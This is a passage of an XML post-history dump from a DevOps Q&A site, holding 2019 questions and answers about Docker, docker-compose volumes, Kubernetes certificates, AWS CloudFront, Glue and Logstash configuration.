  <row Id="24946" PostHistoryTypeId="50" PostId="6267" RevisionGUID="78c6fa68-fde0-4e8e-b263-6a5a3a2c77f6" CreationDate="2019-07-06T23:02:35.377" UserId="-1" />
  <row Id="24947" PostHistoryTypeId="2" PostId="8548" RevisionGUID="453c9ff1-bd86-4156-9d32-ac0ba9efefec" CreationDate="2019-07-07T02:17:25.900" UserId="15859" Text="I have a following Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;&#xD;&#xA;    RUN mkdir app &amp;&amp; cd app&#xD;&#xA;    WORKDIR app/&#xD;&#xA;&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y \&#xD;&#xA;        software-properties-common \&#xD;&#xA;        curl \&#xD;&#xA;        sudo \&#xD;&#xA;	    &amp;&amp; curl -O https://hyperledger.github.io/composer/latest/prereqs-ubuntu.sh \&#xD;&#xA;	    &amp;&amp; chmod u+x prereqs-ubuntu.sh \&#xD;&#xA;	    &amp;&amp; ./prereqs-ubuntu.sh \&#xD;&#xA;	    &amp;&amp; npm install -g \ # this line failed&#xD;&#xA;	    &amp;&amp; yo \&#xD;&#xA;	       composer-cli@0.20 \&#xD;&#xA;	       composer-rest-server@0.20 \&#xD;&#xA;	       generator-hyperledger-composer@0.20 \&#xD;&#xA;	       composer-playground@0.20&#xD;&#xA;&#xD;&#xA;        CMD /bin/bash&#xD;&#xA;&#xD;&#xA;The `prereqs-ubuntu.sh` is from https://github.com/hyperledger/composer/blob/master/packages/composer-website/jekylldocs/prereqs-ubuntu.sh.&#xD;&#xA;&#xD;&#xA;However, it says `/bin/sh: 1: npm: not found` on the line `npm install -g` when I try to build the image. But `npm` is installed when running `prereqs-ubuntu.sh` already and can be ran successfully at the end of the file (`npm --version`).&#xD;&#xA;&#xD;&#xA;Also, when I remove the `npm-install` part from the Dockerfile (shown below) and do `docker run --name test -it myimage` to see if `npm` is installed, but it is installed.&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;&#xD;&#xA;    RUN mkdir app &amp;&amp; cd app&#xD;&#xA;    WORKDIR app/&#xD;&#xA;&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y \&#xD;&#xA;        software-properties-common \&#xD;&#xA;        curl \&#xD;&#xA;        sudo \&#xD;&#xA;	    &amp;&amp; curl -O https://hyperledger.github.io/composer/latest/prereqs-ubuntu.sh \&#xD;&#xA;	    &amp;&amp; chmod u+x prereqs-ubuntu.sh \&#xD;&#xA;	    &amp;&amp; ./prereqs-ubuntu.sh \&#xD;&#xA;&#xD;&#xA;        CMD /bin/bash" ContentLicense="CC BY-SA 4.0" />
  <row Id="24948" PostHistoryTypeId="1" PostId="8548" RevisionGUID="453c9ff1-bd86-4156-9d32-ac0ba9efefec" CreationDate="2019-07-07T02:17:25.900" UserId="15859" Text="npm not found but installed from the shell script file in Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="24949" PostHistoryTypeId="3" PostId="8548" RevisionGUID="453c9ff1-bd86-4156-9d32-ac0ba9efefec" CreationDate="2019-07-07T02:17:25.900" UserId="15859" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;shell-script&gt;&lt;bash&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24950" PostHistoryTypeId="2" PostId="8549" RevisionGUID="3259cafa-7286-49a9-9e00-71adb07bd5d8" CreationDate="2019-07-07T04:55:07.683" UserId="47" Text="I don't know of a way to get the actual GCE VM images.&#xD;&#xA;&#xD;&#xA;But it's possible to [export the images to GCS][1] (as a `tar.gz` archive):&#xD;&#xA;&#xD;&#xA;&gt; If you need to move your Compute Engine boot disk data outside of your&#xD;&#xA;&gt; Compute Engine project, you can export a boot disk image to Cloud&#xD;&#xA;&gt; Storage as a `tar.gz` file. &#xD;&#xA;&gt; &#xD;&#xA;&gt; You can export a custom image as backup or for sharing by exporting&#xD;&#xA;&gt; the image to Cloud Storage. This method is ideal for sharing&#xD;&#xA;&gt; individual images with other projects that do not have access to your&#xD;&#xA;&gt; images.&#xD;&#xA;&#xD;&#xA;You can then download this `tar.gz` file and, I guess, create a VM image from it to run on your local machine. I imagine the process would contain steps similar  to those detailed in [Migrating VMs to Compute Engine][2] and [Importing Boot Disk Images to Compute Engine][3], only seen from your VirtualBox perspective instead of the GCE one. &#xD;&#xA;&#xD;&#xA;These guides are making it easy to transfer VM loads **to** GCE. I guess they don't have incentives to do the same for transfers **from** GCE, which probably explains why there is no guide for it ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/compute/docs/images/export-image&#xD;&#xA;  [2]: https://cloud.google.com/compute/docs/vm-migration/&#xD;&#xA;  [3]: https://cloud.google.com/compute/docs/images/import-existing-image" ContentLicense="CC BY-SA 4.0" />
  <row Id="24951" PostHistoryTypeId="50" PostId="6228" RevisionGUID="c183da58-d057-4021-887f-37fae1531bd6" CreationDate="2019-07-07T05:01:00.163" UserId="-1" />
  <row Id="24952" PostHistoryTypeId="50" PostId="5880" RevisionGUID="ab47b021-54f8-4260-bcfa-3cd53035f798" CreationDate="2019-07-07T09:02:40.317" UserId="-1" />
  <row Id="24953" PostHistoryTypeId="2" PostId="8550" RevisionGUID="0aa5c4ca-c311-49fb-af61-1841fd4ea9c9" CreationDate="2019-07-07T10:00:18.290" UserId="786" Text="Problem solved, I think: the agent comes with its own `libcurl.so.3` in `/opt/oms/lib`, it doesn't use the system one at all. Once I replaced that, it seems to be proceeding a lot further than it did!" ContentLicense="CC BY-SA 4.0" />
  <row Id="24954" PostHistoryTypeId="5" PostId="8550" RevisionGUID="44ea4143-ca2d-4d4d-9e80-b33787ea822b" CreationDate="2019-07-07T10:05:23.810" UserId="786" Comment="added 798 characters in body" Text="Problem solved, I think: the agent comes with its own `libcurl.so.3` in `/opt/oms/lib`, it doesn't use the system one at all. Once I replaced that, it seems to be succeeding. Previously:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cd /opt/microsoft/omsconfig/Scripts&#xD;&#xA;$ ./PerformRequiredConfigurationChecks.py&#xD;&#xA;instance of OMI_Error&#xD;&#xA;{&#xD;&#xA;    OwningEntity=OMI:CIMOM&#xD;&#xA;    MessageID=OMI:MI_Result:1&#xD;&#xA;    Message=cURL failed to perform on this base url: uks-agentservice-prod-1.azure-automation.net with this error message: Stream error in the HTTP/2 framing layer. Make sure cURL and SSL libraries are up to date.&#xD;&#xA;    MessageArguments={}&#xD;&#xA;    PerceivedSeverity=7&#xD;&#xA;    ProbableCause=0&#xD;&#xA;    ProbableCauseDescription=Unknown&#xD;&#xA;    CIMStatusCode=1&#xD;&#xA;    OMI_Code=1&#xD;&#xA;    OMI_Category=0&#xD;&#xA;    OMI_Type=MI&#xD;&#xA;    OMI_ErrorMessage=A general error occurred, not covered by a more specific error code.&#xD;&#xA;}&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;But now:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ./PerformRequiredConfigurationChecks.py&#xD;&#xA;instance of PerformRequiredConfigurationChecks&#xD;&#xA;{&#xD;&#xA;    ReturnValue=0&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24955" PostHistoryTypeId="50" PostId="6266" RevisionGUID="937425a7-d58b-4ad9-8b90-58952f7c3737" CreationDate="2019-07-07T11:02:20.320" UserId="-1" />
  <row Id="24956" PostHistoryTypeId="2" PostId="8551" RevisionGUID="79bb5749-e846-4358-9cc5-53c176a14f49" CreationDate="2019-07-07T13:07:06.107" UserId="15862" Text="I have lots of unexplained errors in kubernetes. Often I see errors in logs of pods with the following:&#xD;&#xA;&#xD;&#xA;    Get https://10.152.183.1:443/api/v1/namespaces/{REDACTED}: x509: certificate is valid for 192.168.1.156, not 10.152.183.1}&#xD;&#xA;&#xD;&#xA;I am using Canonical's distribution of Kubernetes deployed with Juju on a MAAS cluster. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24957" PostHistoryTypeId="1" PostId="8551" RevisionGUID="79bb5749-e846-4358-9cc5-53c176a14f49" CreationDate="2019-07-07T13:07:06.107" UserId="15862" Text="Why do many pods fail to communicate with the master" ContentLicense="CC BY-SA 4.0" />
  <row Id="24958" PostHistoryTypeId="3" PostId="8551" RevisionGUID="79bb5749-e846-4358-9cc5-53c176a14f49" CreationDate="2019-07-07T13:07:06.107" UserId="15862" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24959" PostHistoryTypeId="2" PostId="8552" RevisionGUID="d250aa36-42c2-416c-bba4-f4b65269836e" CreationDate="2019-07-07T13:07:06.107" UserId="15862" Text="Try to remove the easyrsa relation with kubernetes-master in juju.&#xD;&#xA;&#xD;&#xA;    juju remove-relation easyrsa kubernetes-master&#xD;&#xA;&#xD;&#xA;Recreate it afterwards:&#xD;&#xA;&#xD;&#xA;    juju add-relation easyrsa kubernetes-master&#xD;&#xA;&#xD;&#xA;The certificate seems to be recreated for the master, which should now include it's clusterip (10.152.183.1) address as well in the SAN record of the certificate." ContentLicense="CC BY-SA 4.0" />
  <row Id="24960" PostHistoryTypeId="2" PostId="8553" RevisionGUID="7e1f16a4-97de-4c76-9cbb-0e08ed8da9cb" CreationDate="2019-07-07T13:12:29.423" UserId="15863" Text="I have a question regarding a redirect (`302`) that happens when accessing the `/admin` panel of my Craft CMS application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've setup CloudFront for my app that runs on Craft 3. DNS points to CF (CNAME), CF has Elastic Load Balancer (ELB) as a default origin. The ELB is a subdomain on my main domain (for certificates reasons). There is a CNAME set for ELB on the main domain DNS.&#xD;&#xA;&#xD;&#xA;Now, when I'm visiting any page on my application, there is no redirection happening (eg. when I go to www.myapp.com/product). Only when I'm visiting the /admin panel, I get redirected to the ELB domain. Eg. I go to www.myapp.com/admin and I get redirected to www.elb-domain.awsloadbalancerdomain.com (ELB's CNAME). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any of you has any ideas about why this might be happening and how to prevent it?&#xD;&#xA;&#xD;&#xA;Thank you in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="24961" PostHistoryTypeId="1" PostId="8553" RevisionGUID="7e1f16a4-97de-4c76-9cbb-0e08ed8da9cb" CreationDate="2019-07-07T13:12:29.423" UserId="15863" Text="Cloudfront for ELB, automatic redirection" ContentLicense="CC BY-SA 4.0" />
  <row Id="24962" PostHistoryTypeId="3" PostId="8553" RevisionGUID="7e1f16a4-97de-4c76-9cbb-0e08ed8da9cb" CreationDate="2019-07-07T13:12:29.423" UserId="15863" Text="&lt;dns&gt;&lt;amazon-cloudfront&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24964" PostHistoryTypeId="2" PostId="8554" RevisionGUID="17a7ca16-ca9a-403e-96b4-633a84f29e31" CreationDate="2019-07-08T07:05:22.463" UserId="15544" Text="The issue is that `prereqs-ubuntu.sh` uses `bash` to install the `npm`. While the `RUN` directive uses `sh` to run the commands. &#xD;&#xA;&#xD;&#xA;Where is the npm installed&#xD;&#xA;```&#xD;&#xA;root@2cd4a6af90f4:/app# type npm&#xD;&#xA;npm is /root/.nvm/versions/node/v8.16.0/bin/npm&#xD;&#xA;```&#xD;&#xA;The `PATH` for the `RUN` directive&#xD;&#xA;```&#xD;&#xA;# echo $PATH&#xD;&#xA;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="24969" PostHistoryTypeId="2" PostId="8555" RevisionGUID="09c309d8-7ae1-4ed2-8e6a-ab19d701043a" CreationDate="2019-07-08T17:17:11.750" UserId="4328" Text="I have an AWS Glue job written in Python that I would like to perform pyunit tests on. However, from reading and experimenting on my own, there seem to be quite a few dependencies on the Glue service, making this task very impractical if not impossible. My only thought would be to separate the non glue dependent functions in the job into a separate module to perform unit testing on.&#xD;&#xA;&#xD;&#xA;Is unit testing with AWS Glue possible, and if so, what are the best practices for doing so? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24970" PostHistoryTypeId="1" PostId="8555" RevisionGUID="09c309d8-7ae1-4ed2-8e6a-ab19d701043a" CreationDate="2019-07-08T17:17:11.750" UserId="4328" Text="Unit Test AWS Glue job in CodePipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="24971" PostHistoryTypeId="3" PostId="8555" RevisionGUID="09c309d8-7ae1-4ed2-8e6a-ab19d701043a" CreationDate="2019-07-08T17:17:11.750" UserId="4328" Text="&lt;amazon-web-services&gt;&lt;python&gt;&lt;aws-codepipeline&gt;&lt;unit-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24972" PostHistoryTypeId="50" PostId="5901" RevisionGUID="d8aadbeb-e06c-453e-9fc8-42fbb8cb09e8" CreationDate="2019-07-08T18:02:25.270" UserId="-1" />
  <row Id="24983" PostHistoryTypeId="50" PostId="6306" RevisionGUID="4c93e610-7bc5-42a1-b487-3ed7501a4c85" CreationDate="2019-07-08T20:02:35.280" UserId="-1" />
  <row Id="24986" PostHistoryTypeId="2" PostId="8561" RevisionGUID="47a1d03c-5e90-4bca-be5f-517ce87da6a8" CreationDate="2019-07-08T21:32:35.373" UserId="786" Text="The closest thing to an official source for best practice configuration management is [ITIL](https://en.wikipedia.org/wiki/Configuration_Management_(ITSM)), but it is important to remember (most don't) that ITIL is a toolbox of ideas and techniques, it is _supposed_ to be adapted to the unique requirements of each site, not applied verbatim. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25000" PostHistoryTypeId="2" PostId="8565" RevisionGUID="f7b11ea8-4b98-4e2d-b4f2-9696ad9a9799" CreationDate="2019-07-09T07:36:04.353" UserId="13" Text="According to the error message&#xD;&#xA;&#xD;&#xA;&gt; PG::DuplicateTable: ERROR:  relation &quot;audit_events&quot; already exists&#xD;&#xA;&#xD;&#xA;The DB content (within `/var/opt/gitlab`) is probably corrupted, the state of the DB doesn't match the recorded state of migration tasks.&#xD;&#xA;&#xD;&#xA;As you're mounting `/var/opt/gitlab` as a volume from the host with `--volume /docker/gitlab/data:/var/opt/gitlab:Z`, there's obviously something broken in those datas. you should just empty it to restart from scratch and restore a backup once bootstrapped properly.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25001" PostHistoryTypeId="2" PostId="8566" RevisionGUID="5dcf8059-56ce-4ff9-bbfb-fce862e5e7dd" CreationDate="2019-07-09T10:33:43.043" UserId="15900" Text="I have my system running with ElasticSearch 7.0 and Logstash 7.0 on an AWS EC2 machine.&#xD;&#xA;&#xD;&#xA;In my logstash configuration, I use the default index pattern (as described in [outputs plugin][1]):&#xD;&#xA;```&#xD;&#xA;output {&#xD;&#xA;    elasticsearch {&#xD;&#xA;        hosts =&gt; [ &quot;localhost:9200&quot; ]&#xD;&#xA;        index =&gt; &quot;logstash-%{+YYYY.MM.dd}&quot; # &lt;--&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;which is the default output index. But for some reason, elastisearch has only a single index named `logstash` where all log entries end up, independent of the date.&#xD;&#xA;&#xD;&#xA;Is AWS overriding this settings in another config file? Is there a command-line option to trace where settings come from?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/guide/en/logstash/7.0/plugins-outputs-elasticsearch.html#plugins-outputs-elasticsearch-index" ContentLicense="CC BY-SA 4.0" />
  <row Id="25002" PostHistoryTypeId="1" PostId="8566" RevisionGUID="5dcf8059-56ce-4ff9-bbfb-fce862e5e7dd" CreationDate="2019-07-09T10:33:43.043" UserId="15900" Text="Why does logstash not output to the correct elasticsearch index with date?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25003" PostHistoryTypeId="3" PostId="8566" RevisionGUID="5dcf8059-56ce-4ff9-bbfb-fce862e5e7dd" CreationDate="2019-07-09T10:33:43.043" UserId="15900" Text="&lt;amazon-web-services&gt;&lt;monitoring&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25014" PostHistoryTypeId="2" PostId="8569" RevisionGUID="c81e2ae0-9303-4ff8-a265-24fb06119dd3" CreationDate="2019-07-09T16:04:27.133" UserId="15792" Text="Without seeing the specific error it looks like the container's runtime process is either crashing or exiting.  When a docker container's runtime process exits the container stops. &#xD;&#xA; You can get more information about the specific error by using the [docker logs command][1]:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;docker logs 92455a993a54&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/logs/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25020" PostHistoryTypeId="5" PostId="8237" RevisionGUID="0fc3dafa-faab-49e8-9eb4-15d240376a6e" CreationDate="2019-07-09T19:20:55.523" UserId="11069" Comment="spelling" Text="I noticed that the [description](https://github.com/microsoft/azure-pipelines-tasks/blob/master/Tasks/DotNetCoreCLIV2/README.md) for the filepath properties of the **pack** command is different than the descriptions in the **test** and **publish** commands:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Pattern to search for csproj or nuspec files to pack.&#xD;&#xA;&#xD;&#xA;You can separate multiple patterns with a semicolon, and you can&#xD;&#xA;make a pattern negative by prefixing it with '-:'. Example:&#xD;&#xA;**/*.csproj;-:**/*.Tests.csproj&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So perhaps try `-:**/*[Tt]ests.csproj;**/*.csproj` instead. I don't think this explains why the unit tests are excluded and the integrated tests are not, though." ContentLicense="CC BY-SA 4.0" />
  <row Id="25021" PostHistoryTypeId="2" PostId="8571" RevisionGUID="d80a6e4f-5737-41a7-b5d2-806cef2ac43c" CreationDate="2019-07-09T22:03:42.943" UserId="15916" Text="I'm trying to run a SQL Server Database in a container and have been unable to mount a volume using docker-compose. I am able to persist data using `docker run`, however. &#xD;&#xA;&#xD;&#xA;**SETUP**&#xD;&#xA;&#xD;&#xA;`docker volume ls`&#xD;&#xA;```bash&#xD;&#xA;DRIVER              VOLUME NAME&#xD;&#xA;local               db-data-system&#xD;&#xA;local               db-data-user local              &#xD;&#xA;docker-containers_db-data-system local              &#xD;&#xA;docker-containers_db-data-user&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**RUNNING DOCKER FROM COMMAND LINE**&#xD;&#xA;&#xD;&#xA;I'm able to run a container using `docker run` that persists data (see testdatabase and arbq_app).&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;sudo docker run -e 'ACCEPT_EULA=Y' -e 'P@ssw0rd' \&#xD;&#xA;  --name 'arbq-db' -e 'MSSQL_PID=Developer' -p 1401:1433 \&#xD;&#xA;  -v db-data-system:/var/opt/mssql -v db-data-user:/var/opt/sqlserver \&#xD;&#xA;  -d mcr.microsoft.com/mssql/server:2017-latest&#xD;&#xA;```&#xD;&#xA;In dBeaver: `SELECT name FROM sys.databases`&#xD;&#xA;```sql&#xD;&#xA;master&#xD;&#xA;tempdb&#xD;&#xA;model&#xD;&#xA;msdb&#xD;&#xA;testdatabase&#xD;&#xA;arbq_app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**WITH DOCKER COMPOSE**&#xD;&#xA;&#xD;&#xA;**docker-compose.yml:**&#xD;&#xA;```yml&#xD;&#xA;version: '3.6'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  # Another Container&#xD;&#xA;  another-container:&#xD;&#xA;    content: some-content &#xD;&#xA; &#xD;&#xA;  # SQL Server&#xD;&#xA;  arbq-db:&#xD;&#xA;    container_name: arbq-db&#xD;&#xA;    image: mcr.microsoft.com/mssql/server:2017-latest&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;1401:1433&quot;&#xD;&#xA;    environment:&#xD;&#xA;      ACCEPT_EULA: Y&#xD;&#xA;      SA_PASSWORD: P@ssw0rd&#xD;&#xA;      MSSQL_PID: Developer&#xD;&#xA;    volumes:&#xD;&#xA;      - db-data-user:/var/opt/sqlserver&#xD;&#xA;      - db-data-system:/var/opt/mssql&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  db-data-user:&#xD;&#xA;  db-data-system:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I run `docker-compose up --build`&#xD;&#xA;&#xD;&#xA;In dBeaver: `SELECT name FROM sys.databases`&#xD;&#xA;```sql&#xD;&#xA;master&#xD;&#xA;tempdb&#xD;&#xA;model&#xD;&#xA;msdb&#xD;&#xA;```&#xD;&#xA;`docker inspect -f '{{ .Mounts }}' e02bd89ccc38`&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;[{volume docker-containers_db-data-user /var/lib/docker/volumes/docker-containers_db-data-user/_data /var/opt/sqlserver local rw true } {volume docker-containers_db-data-system /var/lib/docker/volumes/docker-containers_db-data-system/_data /var/opt/mssql local rw true }]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I honestly don't know what docker-containers_db-data-user and docker-containers_db-data-system are, but they don't contain the db data I need persisted!&#xD;&#xA;&#xD;&#xA;What can I do to ensure that the testdatabase and arbq_app databases persist in the container when using docker-compose?&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="25022" PostHistoryTypeId="1" PostId="8571" RevisionGUID="d80a6e4f-5737-41a7-b5d2-806cef2ac43c" CreationDate="2019-07-09T22:03:42.943" UserId="15916" Text="Volumes Not Mounting with Docker-Compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="25023" PostHistoryTypeId="3" PostId="8571" RevisionGUID="d80a6e4f-5737-41a7-b5d2-806cef2ac43c" CreationDate="2019-07-09T22:03:42.943" UserId="15916" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25053" PostHistoryTypeId="2" PostId="8578" RevisionGUID="cdb904d9-4be9-4e61-968f-575730724386" CreationDate="2019-07-10T13:46:03.153" UserId="13111" Text="If you let docker-compose manage the volumes for you, the volumes names in `docker-compose.yml` will not be the final ones created/used in docker. `docker-compose` will prepend the volumes names with the compose project name, which is by default the name of the folder holding the compose file. This is to allow separate projects to use the same names without conflict. For information, you will get the same naming convention for networks.&#xD;&#xA;&#xD;&#xA;To get your data back correctly in your compose project, you have two choices.&#xD;&#xA;&#xD;&#xA;# Prefered in your case: Move data to automated volumes.&#xD;&#xA;&#xD;&#xA;This will preserve the default compose volume management in your future runs.&#xD;&#xA;&#xD;&#xA;- stop any running container using any of those volumes&#xD;&#xA;- launch a dummy container not having mysql (e.g. busybox) and mount all 4 volumes in separate identifiable paths&#xD;&#xA;- empty all volumes created by `docker-compose`&#xD;&#xA;- copy all data from &quot;docker only&quot; volumes to &quot;compose&quot; volumes.&#xD;&#xA;- stop and recycle your dummy container.&#xD;&#xA;- `docker-compose up -d` and enjoy.&#xD;&#xA;- if all went good and smooth, delete the other unneeded volumes.&#xD;&#xA;&#xD;&#xA;# If you know what your doing: use external volumes&#xD;&#xA;&#xD;&#xA;This will work as well but please check the [documentation](https://docs.docker.com/compose/compose-file/) (Ctrl-f &quot;Volume configuration reference&quot;) for details. Specifically, be aware that `docker-compose up -d` will no longer try to create the unexisting volumes and fire an error and stop if they don't exist.&#xD;&#xA;&#xD;&#xA;Simply change you volume section at the end of your file to:&#xD;&#xA;```yaml&#xD;&#xA;volumes:&#xD;&#xA;  db-data-user:&#xD;&#xA;    external:&#xD;&#xA;      name: db-data-user&#xD;&#xA;  db-data-system:&#xD;&#xA;    external:&#xD;&#xA;      name: db-data-system&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="25054" PostHistoryTypeId="34" PostId="8197" RevisionGUID="b36e217f-ddca-491f-91be-03c0a4e0d6cb" CreationDate="2019-07-10T14:02:45.373" UserId="-1" Comment="38" />
  <row Id="25055" PostHistoryTypeId="50" PostId="5691" RevisionGUID="5c207281-8e3c-4019-bc9d-087c8c2f4225" CreationDate="2019-07-10T14:02:45.373" UserId="-1" />
  <row Id="25064" PostHistoryTypeId="6" PostId="1737" RevisionGUID="7e947142-d741-49dd-a19f-09ffa59939ef" CreationDate="2019-07-11T03:56:36.630" UserId="13020" Comment="SRE related too so adding tag." Text="&lt;docker&gt;&lt;project-management&gt;&lt;orchestration&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25065" PostHistoryTypeId="24" PostId="1737" RevisionGUID="7e947142-d741-49dd-a19f-09ffa59939ef" CreationDate="2019-07-11T03:56:36.630" Comment="Proposed by 13020 approved by -1 edit id of 1028" ContentLicense="CC BY-SA 4.0" />
  <row Id="25066" PostHistoryTypeId="5" PostId="1737" RevisionGUID="96343b8f-cd1f-40bc-bcc0-98bdc5b0c07e" CreationDate="2019-07-11T03:56:36.630" UserId="40" Comment="remove noise" Text="We always tend to have a moral implications of certain critical decisions taken for development irrespective of the realisation if the decision is critical or not. Say for example switching an entire stack for a team of developers or enforcing them to start using a new frontend framework, etc.  &#xD;&#xA;&#xD;&#xA;For now, I am trying to understand the implications of introducing docker to the development team. I have the following questions:&#xD;&#xA;&#xD;&#xA;1. Why should a developer care about Docker ? His / Her job is to fulfil the business requirement and that's it. Why should he / she be bothered about the dockerfile or which orchestrator his / her app should be running etc.&#xD;&#xA;&#xD;&#xA;2. When the application is crashed several times due to the issue in the orchestrator (_swarm, kube, mesos_) or due to poor orchestration of the developer due to lack of knowledge, who is responsible ? The one who sets up the orchestrator (_DevOps maybe_) or the developer himself ?&#xD;&#xA;&#xD;&#xA;3. What is the role of SRE ? Should an SRE be keeping an eye on the infrastructure 24/7 or he / she should become a part of the dev team, fix development issue related to infrastructure, provide containerisation to the dev team, etc. Basically should he / she become a watch dog for the infrastructure or the one who becomes bridge between devs and devops to tackle infrastructure related issue.&#xD;&#xA;&#xD;&#xA;4. Is it necessary for every developer to learn and understand the concepts of docker and various orchestration platform out there ?&#xD;&#xA;&#xD;&#xA;5. Is docker just a tool for ease of deployment or it holds some value in the development as well (_I can't think of one right now_) ?&#xD;&#xA;&#xD;&#xA;I think docker can become a playground for blame game and I wish to avoid it. I want to understand the roles that needs to be placed in Dev and DevOps teams in order to avoid chaos when the app fails to deliver its SLA." ContentLicense="CC BY-SA 4.0" />
  <row Id="25067" PostHistoryTypeId="6" PostId="5919" RevisionGUID="d0e23eac-d258-4d62-aa0c-fed94068c4ac" CreationDate="2019-07-11T03:59:35.460" UserId="13020" Comment="SRE related too so adding tag." Text="&lt;serverless&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25068" PostHistoryTypeId="24" PostId="5919" RevisionGUID="d0e23eac-d258-4d62-aa0c-fed94068c4ac" CreationDate="2019-07-11T03:59:35.460" Comment="Proposed by 13020 approved by -1 edit id of 1027" ContentLicense="CC BY-SA 4.0" />
  <row Id="25069" PostHistoryTypeId="5" PostId="5919" RevisionGUID="87199e36-b233-414e-b524-c3c2dee50e05" CreationDate="2019-07-11T03:59:35.460" UserId="40" Comment="added 50 characters in body" Text="My senior recently argued that DevOps related roles such as DevOps Engineer, SRE, etc, will be less relevant once serverless matures. He pointed me to [Containers won the battle, but will lose the war to serverless](https://read.acloud.guru/simon-wardley-is-a-big-fan-of-containers-despite-what-you-might-think-18c9f5352147).&#xD;&#xA;&#xD;&#xA;Can you see less and less DevOps roles being available in the age of serverless? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25111" PostHistoryTypeId="2" PostId="8589" RevisionGUID="2092e3f4-b054-4789-9e94-67718456613e" CreationDate="2019-07-11T14:48:45.917" UserId="15963" Text="I'm using AWS Cloudformation to create EC2 spot instance (with block duration). In order to do this in cloudformation I'm using a Launch Template where spot configuration is set. Then my cloudformation template create an EC2 resource which use the Launch Template.&#xD;&#xA;&#xD;&#xA;It work fine except when AWS refuse to create a spot instance. In that case, the cloudformation stack is still running.&#xD;&#xA;&#xD;&#xA;I'm wondering if there is a way to fail the stack when the spot request is refused ?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="25112" PostHistoryTypeId="1" PostId="8589" RevisionGUID="2092e3f4-b054-4789-9e94-67718456613e" CreationDate="2019-07-11T14:48:45.917" UserId="15963" Text="How to fail stack when EC2 spot is refused?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25113" PostHistoryTypeId="3" PostId="8589" RevisionGUID="2092e3f4-b054-4789-9e94-67718456613e" CreationDate="2019-07-11T14:48:45.917" UserId="15963" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25126" PostHistoryTypeId="2" PostId="8593" RevisionGUID="5b70a47a-e88b-4ae6-8bae-cc9f5d195b58" CreationDate="2019-07-12T08:02:56.243" UserId="15961" Text="**Hi** , I want to know How Build Retention Policy Work Internally.&#xD;&#xA;&#xD;&#xA;1. I have a shared location where outputs of all Builds copied.Build retention Policy deletes those outputs/artifacts according to mentioned policy which is understood.&#xD;&#xA;2. Does this delete everything (ALL Folder levels) in shared folder:&#xD;&#xA;\\SharedLocationMachineName\TFSBuilds\ProjectName\$(Build.BuildNumber)\Deployment\binaries\installer\setup&#xD;&#xA;&#xD;&#xA;or it only works what is inside at single folder level:&#xD;&#xA;\\SharedLocationMachineName\TFSBuilds\ProjectName\$(Build.BuildNumber)&#xD;&#xA;&#xD;&#xA;**Second Question:** What is difference between Copy Files and &quot;Publish Build Artifacts&quot; tasks. Which one should be used in which scenario?&#xD;&#xA;&#xD;&#xA;Does these tasks effect Deletion in Build Retention Policy?&#xD;&#xA;&#xD;&#xA;What are best practices to use these tasks: How many 